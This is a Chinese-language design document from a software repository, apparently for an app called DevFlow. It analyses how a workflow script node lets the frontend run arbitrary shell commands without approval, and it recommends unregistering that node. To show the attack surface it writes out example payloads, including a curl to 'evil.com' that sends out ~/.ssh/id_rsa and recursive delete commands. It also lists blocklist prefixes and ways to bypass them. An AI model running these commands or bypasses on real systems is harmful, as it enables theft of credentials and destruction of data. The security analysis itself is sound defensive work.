Files
DevFlow/docs/02-架构设计/专项设计/工作流脚本执行边界-2026-06-15.md
绝尘 8d18918e39 更新: 架构设计文档状态同步代码核验结果
经代码核验发现 9 份设计文档的状态标注严重滞后(标'待实施'但
实际已完整落地),本次批量同步:

已落地(核验确认):
- 局部编辑工具:三层防御+三模式完整,仅文本不支持二进制
- 密钥迁移健壮性:空 key 不覆盖+即时迁移补密钥+阻断保存
- AST 符号解析:符号读取工具已注册+基线测试守护
- 查询能力补全:任务/项目/灵感均多维动态查询
- 条件表达式引擎:手写求值器+JSON Path+执行器集成+前端入口
- 工作流脚本边界:命令白名单/黑名单+危险关键词告警
- 消息拆分存储:消息表+全量迁移+读写全部切换
- 消息级溯源:消息 ID+四场景溯源+切读全部完成

部分落地:
- 全局事件总线:基建+20 余个发射点就位,消费者未接(空转)

归档不实施:
- 规格契约自检:核心价值已被求助协议+自审闸门覆盖,过度设计
2026-06-29 00:16:39 +08:00

256 lines
17 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
# 工作流脚本执行边界设计R-PD-2
> 来源:全局代码 review 2026-06-15 §🔴 P1 需设计 R-PD-2
> 日期2026-06-15
> 状态:✅ 已落地(2026-06-28 核验:ScriptNode 命令执行安全边界 — env 白名单/黑名单 + 危险关键词告警,script_node.rs:40-155)
---
## 一、问题run_workflow IPC 经 ScriptNode 执行前端任意 shellsecurity P1
### 1.1 攻击面分析(前端 IPC → 任意 shell 的完整路径)
```
前端 runWorkflow(name, dag, config)
└─ invoke('run_workflow', { name, dag: DagDef, config }) ← IPC 边界dag 为前端任意构造的 serde JSON
└─ src-tauri/commands/workflow.rs:36 run_workflow
├─ state.registry.build_dag(&dag) ← 仅校验节点类型已注册 + 边两端存在
└─ DagExecutor::new(...).run(&runtime_dag, config) ← 异步后台执行
└─ ScriptNode::execute(ctx) [crates/df-nodes/script_node.rs:11]
├─ command = ctx.config["command"] ← 原始字符串,无校验
└─ ShellRequest { command, working_dir, .. }
└─ df_execute::shell::execute [crates/df-execute/shell.rs:34]
├─ Windows: cmd /C <command>
└─ Unix: sh -c <command> ← 全 shell 解释器,含管道/重定向/通配
```
前端可提交任意 `DagDef`
```ts
// 等价攻击载荷(任一)
{ nodes: { x: { node_type: 'script', config: { command: 'del /S /Q C:\\*' } } }, edges: [] }
{ nodes: { x: { node_type: 'script', config: { command: 'curl evil.com/exfil?d=$(cat ~/.ssh/id_rsa)' } } }, edges: [] }
{ nodes: { x: { node_type: 'script', config: { command: 'rm -rf /', working_dir: '/' } } }, edges: [] }
```
`build_dag``crates/df-workflow/registry.rs:42`)只做两类校验:
1. `node_type` 已注册("script"/"human"/"ai")——攻击者用合法的 "script"
2. 边的 source/target 节点存在——单节点 DAG 无边,零约束通过
**对 `config.command` / `config.working_dir` 无任何校验**,直接落到 shell 解释器。
### 1.2 为何完全独立于 AI 工具 RiskLevel 审批链
DevFlow 有两条独立的「前端 → 后端可执行」通路,安全机制割裂:
| 通路 | 入口 | 风控机制 | 审批位置 |
|------|------|---------|---------|
| **AI 工具调用**LLM 驱动) | agentic loop → `AiToolRegistry` | `RiskLevel::{Low, Medium, High}` | `audit.rs:265-271`Medium/High 写入 `AiSession.pending_approvals`,前端 ToolCard 阻塞审批 |
| **工作流执行**(前端直接驱动) | `run_workflow` IPC → DagDef | **无** | DagDef 无 RiskLevel 字段ScriptNode 不查 pending_approvals |
关键不对称点:
- AI 工具调 shell 走 `execute_command`tool_registry.rs**RiskLevel::High + 审批**
- 工作流 ScriptNode 调 shell 走 `df_execute::shell::execute`**零风控**
- 两条通路最终都落到同款 `cmd /C | sh -c`,但前者有闸门、后者无闸门
更隐蔽的二次风险AI 工具 `run_workflow``tool_registry.rs:383-389`)本身是 RiskLevel::High 且**目前是 no-op 桩**R-PD-12LLM 即使调用也只拿到 `{ note: "请通过工作流页面运行" }`。但 **LLM 若未来引导用户提交特定 DagDef 到 `run_workflow` IPC**(绕过 AI 工具桩),就直接触达无审批 shell。R-PD-12 把 AI 工具桩做实或删除时,本设计的边界必须先就位,否则等于给 LLM 开了一条绕过自己审批链的暗道。
---
## 二、现状
### 2.1 DagDef 前端构造,无后端校验
`DagDef``crates/df-workflow/dag_def.rs:7-11`)是纯数据结构:
```rust
pub struct DagDef {
pub nodes: HashMap<String, NodeDef>, // node_type: String, config: serde_json::Value
pub edges: Vec<EdgeDef>,
}
```
`run_workflow``workflow.rs:36`)收 `dag: DagDef` 参数Tauri 反序列化后直接 `build_dag`。前端唯一构造点是 `src/views/ProjectDetail.vue:258-268``demoDag`
```ts
const demoDag = {
nodes: [
{ id: 'n1', node_type: 'script', label: '环境检查', config: { command: 'echo "Environment OK"', timeout_secs: 10 } },
{ id: 'n2', node_type: 'script', label: '运行测试', config: { command: 'echo "Tests passed"', timeout_secs: 10 } },
{ id: 'n3', node_type: 'script', label: '构建产物', config: { command: 'echo "Build success"', timeout_secs: 10 } },
],
edges: [{ from: 'n1', to: 'n2' }, { from: 'n2', to: 'n3' }],
}
```
**全仓 grep 确认:除 demoDag 外,前端无任何其他 script 节点构造点,无构建/部署/迁移脚本入口。workflow 当前为纯演示功能。**
### 2.2 ScriptNode 无约束
`crates/df-nodes/script_node.rs:11-42`:从 `config.command` 取原始串,原样塞 `ShellRequest.command``working_dir` 也原样透传。无白名单、无路径锚定、无审批查询。
### 2.3 shell 解释器全权委托
`crates/df-execute/shell.rs:37-45``cmd /C <command>` / `sh -c <command>`,命令字符串经完整 shell 解释器管道、重定向、变量展开、通配、命令分隔符全开。R-P1-2 已修 kill_on_drop僵尸进程问题但不影响安全边界。
---
## 三、方案三选一详析
### 方案 ①build_registry 不注册 "script",掐断节点类型(最安全最小)
**做法**`src-tauri/src/state.rs:227-229` 删除 `registry.register("script", ...)``build_dag` 遇到 `node_type=="script"``registry.rs:37``未注册的节点类型` 分支直接 bail。
**四维对比**
| 维度 | 评价 |
|------|------|
| 安全性 | **最高**。攻击面从「任意 shell」直接归零无任何残留路径。无工作目录逃逸、无参数注入、无审批异步语义问题 |
| 功能性 | **演示功能报废**`ProjectDetail.vue` demoDag 三步 echo 全部 `build_dag` 失败,`runDemoWorkflow` 报错。HumanNode/AiNode 不受影响(仍注册) |
| 改动面 | **最小**。1 处删除state.rs:227-229 共 3 行)。可选附带:前端 demoDag 改用 "human" 节点演示,或整个 demoDag 下线 |
| 误杀风险 | **零误杀**无合法用户脚本可误杀。但等于宣告「DevFlow 工作流不支持脚本节点」,是产品决策 |
### 方案 ②:限定工作目录在已绑定项目 path 内 + 高危命令前缀走 HumanNode 审批
**做法**
- ScriptNode 执行前,校验 `working_dir`(默认取 NodeContext 的项目 path必须 `canonicalize()` 后落在某已绑定项目根下(防 `../` 逃逸)
- 命令前缀扫描:`del /``rm -rf``curl``wget``> /dev/``mkfs``format` 等命中 → 改走 HumanNode 审批流程emit `HumanApprovalRequest`,复用现有 `approve_human_approval` IPC
**四维对比**
| 维度 | 评价 |
|------|------|
| 安全性 | **中**。挡住工作目录外写、明显高危前缀。但**前缀黑名单天然不完备**`curl` 可写成 `c""url``$(curl)``cu"+"rl`、PowerShell 别名 `iwr`;管道注入 `echo x; rm -rf /`;环境变量展开 `$EVIL`。攻击者绕过黑名单的成本远低于维护黑名单的成本 |
| 功能性 | **保留构建脚本能力**(未来真要跑 `npm run build` / `mvn package` 可用),且高危操作有审批兜底 |
| 改动面 | **大**。ScriptNode 加路径校验canonicalize + starts_with+ 黑名单扫描 + 审批注入逻辑ScriptNode 不再是叶子执行,要会发 HumanApprovalRequest 并阻塞等 Response复用 human_node.rs 的 select! 模式,~80 行) |
| 误杀风险 | **高且无解**。合法 `npm run deploy` 含 "deploy" 不命中黑名单但实际可能外发;合法 `git clean -fd` 命中 "clean"/"rm" 语义但非删除系统文件。黑名单要么漏报、要么误杀,无优雅平衡点 |
### 方案 ③ScriptNode 命令白名单 npm/git/mvn 前缀 + 参数过滤
**做法**:定义允许的命令前缀(`npm``git``mvn``cargo``echo``node` 等),命令必须以白名单前缀开头;参数层过滤 `;``&&``|``$()`、反引号等 shell 元字符。
**四维对比**
| 维度 | 评价 |
|------|------|
| 安全性 | **中高**。比黑名单强(默认拒绝)。但「参数过滤 shell 元字符」本质上是在重新实现 shell 转义,**已知是不可解问题**参数里嵌合法字符、引号配对、Unicode 同形字符均可绕过)。且白名单命令自身有副作用(`git push``npm publish``cargo run -- <任意>` |
| 功能性 | **受限**。只能跑白名单内的命令族,`echo` 演示能保,但任意 shell 管道/组合命令报废 |
| 改动面 | **中**。ScriptNode 加白名单匹配(~30 行)+ 参数 sanitizer~50 行,且 sanitizer 难写对) |
| 误杀风险 | **高**。合法 `npm run build && npm run test``&&` 过滤误杀;合法 `git log --grep="feat | fix"` 被管道符误杀 |
---
## 四、推荐方案:①(不注册 "script"),前端 demoDag 同步下线
### 4.1 推荐 + 理由
**推荐方案 ①**:删除 `src-tauri/src/state.rs:227-229` 的 "script" 注册,同步下线 `ProjectDetail.vue` 的 demoDag或改用 "human" 节点演示审批流)。
**核心取舍**DevFlow 工作流当前是纯演示功能(前端唯一构造点是三步 echo demoDag无任何真实构建/部署/迁移脚本入口),而方案 ②③ 的安全机制(黑名单/参数过滤)本质是**不完备的运行时博弈**——攻击者绕过成本永远低于防御维护成本。在「无真实脚本需求」的前提下,方案 ① 用一行删除换攻击面归零,性价比远超另两方案。
**触发升力的条件**:若未来 DevFlow 要把工作流做成真实 CI/CD跑项目构建/部署脚本),此时**不应回头启用 ScriptNode + 加黑名单**,而应**新建一个独立的安全执行节点**(如 `BuildNode`),从一开始就内建白名单 + 项目目录锚定 + 审批链复用 AI 工具 RiskLevel。换句话说方案 ① 不是「放弃脚本能力」,而是「把脚本能力延后到真正需要时,用专门节点一次性做对」。
### 4.2 改动面(具体函数 + 行号)
**后端(必须)**
`src-tauri/src/state.rs:225-237` `build_registry`,删除 script 注册:
```rust
// 改前
fn build_registry() -> NodeRegistry {
let mut registry = NodeRegistry::new();
registry.register("script", |_config| {
Box::new(df_nodes::script_node::ScriptNode)
});
registry.register("human", |_config| { ... });
registry.register("ai", |_config| { ... });
registry
}
// 改后
fn build_registry() -> NodeRegistry {
let mut registry = NodeRegistry::new();
// "script" 节点不注册ScriptNode 走 cmd /C | sh -c 执行 config.command 原始串,
// 前端可构造任意 DagDef 触达无审批 shellR-PD-2。DevFlow 工作流当前为纯演示
// 功能(前端唯一构造点 ProjectDetail.vue demoDag 三步 echo无真实构建/部署脚本
// 需求。需要脚本执行能力时新建独立 BuildNode白名单 + 项目目录锚定 + 复用 AI 工具
// RiskLevel 审批链),而非回头启用 ScriptNode + 黑名单。
registry.register("human", |_config| { ... });
registry.register("ai", |_config| { ... });
registry
}
```
效果:`run_workflow` 提交含 `node_type=="script"` 的 DagDef 时,`build_dag``registry.create``registry.rs:37``未注册的节点类型: script` bailIPC 直接返 Err不入库、不进后台执行。
**前端(必须,否则 demoDag 触发 build_dag 失败报错)**
`src/views/ProjectDetail.vue:258-278`,二选一:
- **a) 下线 demoDag**:删除 `demoDag` 常量 + `runDemoWorkflow` 函数 + 模板中的「运行演示工作流」按钮(最干净)
- **b) 改 human 节点演示**demoDag 改为单节点 human 审批流(演示审批 IPC 通路),保留「工作流页面」基本展示能力
推荐 a工作流演示能力本就单薄移除比换内容更诚实待真实工作流需求落地时一并重做
**保留不删**
- `crates/df-nodes/script_node.rs` 文件保留(不删 ScriptNode 实现),只把入口掐断。理由:未来 BuildNode 可复用其 `df_execute::shell::execute` 调用骨架;现在删了未来还要重写。注释顶部加一句「当前未注册到 NodeRegistry见 R-PD-2 设计文档」
- `crates/df-execute/shell.rs` 完全保留R-P1-2 kill_on_drop 刚修,且 BuildNode 未来要用)
### 4.3 改动量与风险评级
- 后端3 行删除 + 1 段注释
- 前端:~25 行删除demoDag + runDemoWorkflow + 按钮)
- 风险:**极低**。功能面仅损失演示能力本就单薄无真实用户脚本被误杀。build_dag 失败路径已有完善错误返回registry.rs:37前端 IPC 拿到 Err 正常展示。
---
## 五、风险与未决
### 5.1 本方案(①)的风险
| 风险 | 评估 |
|------|------|
| 演示功能报废影响产品认知 | 低。工作流本就是 Phase1 演示,且 HumanNode/AiNode 仍注册,审批流 + AI 节点链路仍可演示 |
| 未来需要脚本能力时回头启用 ScriptNode | **决策点**:见 §4.1,明确「新建 BuildNode不复活 ScriptNode」。若团队遗忘此决策直接取消注释 register("script"),安全缺口原样回归——需在本设计文档 + 经验记录双锚定 |
| ScriptNode 死代码残留引发误解 | 中。需在 `script_node.rs` 顶部加注释指回本文档(已在 §4.2 列入改动面) |
### 5.2 若选 ②③ 会引入的风险(备选方案未选理由的展开)
- **白名单/黑名单误杀合法构建命令**`npm run deploy && git push` 这类组合命令天然被元字符过滤误杀,开发者反复碰壁后会推动放宽规则,最终规则松到形同虚设(业界 CI 逃逸史常见)
- **工作目录 canonicalize 逃逸**Windows 上 `\\?\C:\` 短路径、符号链接、junction、UNC 路径(`\\server\share`)均可绕过 `Path::starts_with`Unix 上 `~/``/proc/self/root` 逃逸。canonicalize 只解析 symlink不挡 mount boundary
- **审批链与 workflow 异步语义结合**ScriptNode 若改走 HumanNode 审批,意味着 ScriptNode 也要发 `HumanApprovalRequest` + select! 等 Response。但 ScriptNode 当前是叶子执行节点,引入审批等于把 ScriptNode 变成半 HumanNode——节点抽象边界混乱。且审批窗口期内前端 cancel_workflow_node 与 ScriptNode 内部 select! 的取消信号传递需重做HumanNode 已踩过 TOCTOU 坑 R-P1-3再踩一遍成本高
---
## 六、关联
### 6.1 与 R-PD-12run_workflow AI 工具 no-op 桩)的协同
R-PD-12 处理 AI 工具 `run_workflow``tool_registry.rs:383-389`):当前 RiskLevel::High + no-op 返 `{ note: "请通过工作流页面运行" }`,前端 prompt/audit/ToolCard 当真实能力宣传,体验断裂。
**协同关系**
- 本方案R-PD-2先把 workflow 系统的 shell 边界封死(掐断 ScriptNodeR-PD-12 再决定 AI 工具 `run_workflow` 的去留才安全
- 若 R-PD-12 决定「做实 run_workflow AI 工具」——LLM 可驱动用户提交 DagDef此时 workflow 边界必须先就位(即本方案先行)
- 若 R-PD-12 决定「删除 run_workflow 假能力」——两条通路都封死,安全闭合
- **顺序约束R-PD-2 先于 R-PD-12 落地**(或同批)。反过来 R-PD-12 先做实、R-PD-2 没做,等于给 LLM 开了一条绕过自身 RiskLevel 审批链的暗道
### 6.2 与 shell.rs R-P1-2kill_on_drop的关系
R-P1-2已修解决的是 `shell::execute` 超时未 kill 子进程致僵尸/fd 泄漏(可靠性维度)。本方案 R-PD-2 解决的是「这个 shell 入口该不该被前端无审批触达」(安全维度)。
- 两者正交R-P1-2 让被允许执行的 shell 更可靠R-PD-2 让不该执行的 shell 根本不执行
- R-P1-2 已落地的 `kill_on_drop(true) + spawn + wait_with_output` 在本方案后**保留不变**shell.rs 完全不动,未来 BuildNode 复用)
- 即使本方案掐断 ScriptNodeshell.rs 的修复仍有价值BuildNode 未来会调它,且修复本身是独立可靠性提升
---
## 七、落地动作清单
- [ ] 后端:`src-tauri/src/state.rs:227-229` 删除 `registry.register("script", ...)` + 加决策注释
- [ ] 后端:`crates/df-nodes/script_node.rs` 顶部加注释「当前未注册到 NodeRegistry见 docs/02-架构设计/专项设计/工作流脚本执行边界-2026-06-15.md」
- [ ] 前端:`src/views/ProjectDetail.vue` 下线 demoDag + runDemoWorkflow + 模板按钮(推荐 a
- [ ] 文档:本设计文档归档到 `docs/02-架构设计/`
- [ ] 决策记录补一条功能决策记录ScriptNode 不注册的安全边界 + 未来 BuildNode 升力路径)
- [ ] todoR-PD-12 标注「依赖 R-PD-2 先落地」
- [ ] 经验记录:黑名单/参数过滤方案为何不选(业界 CI 逃逸史 + 不完备博弈),避免未来误走回头路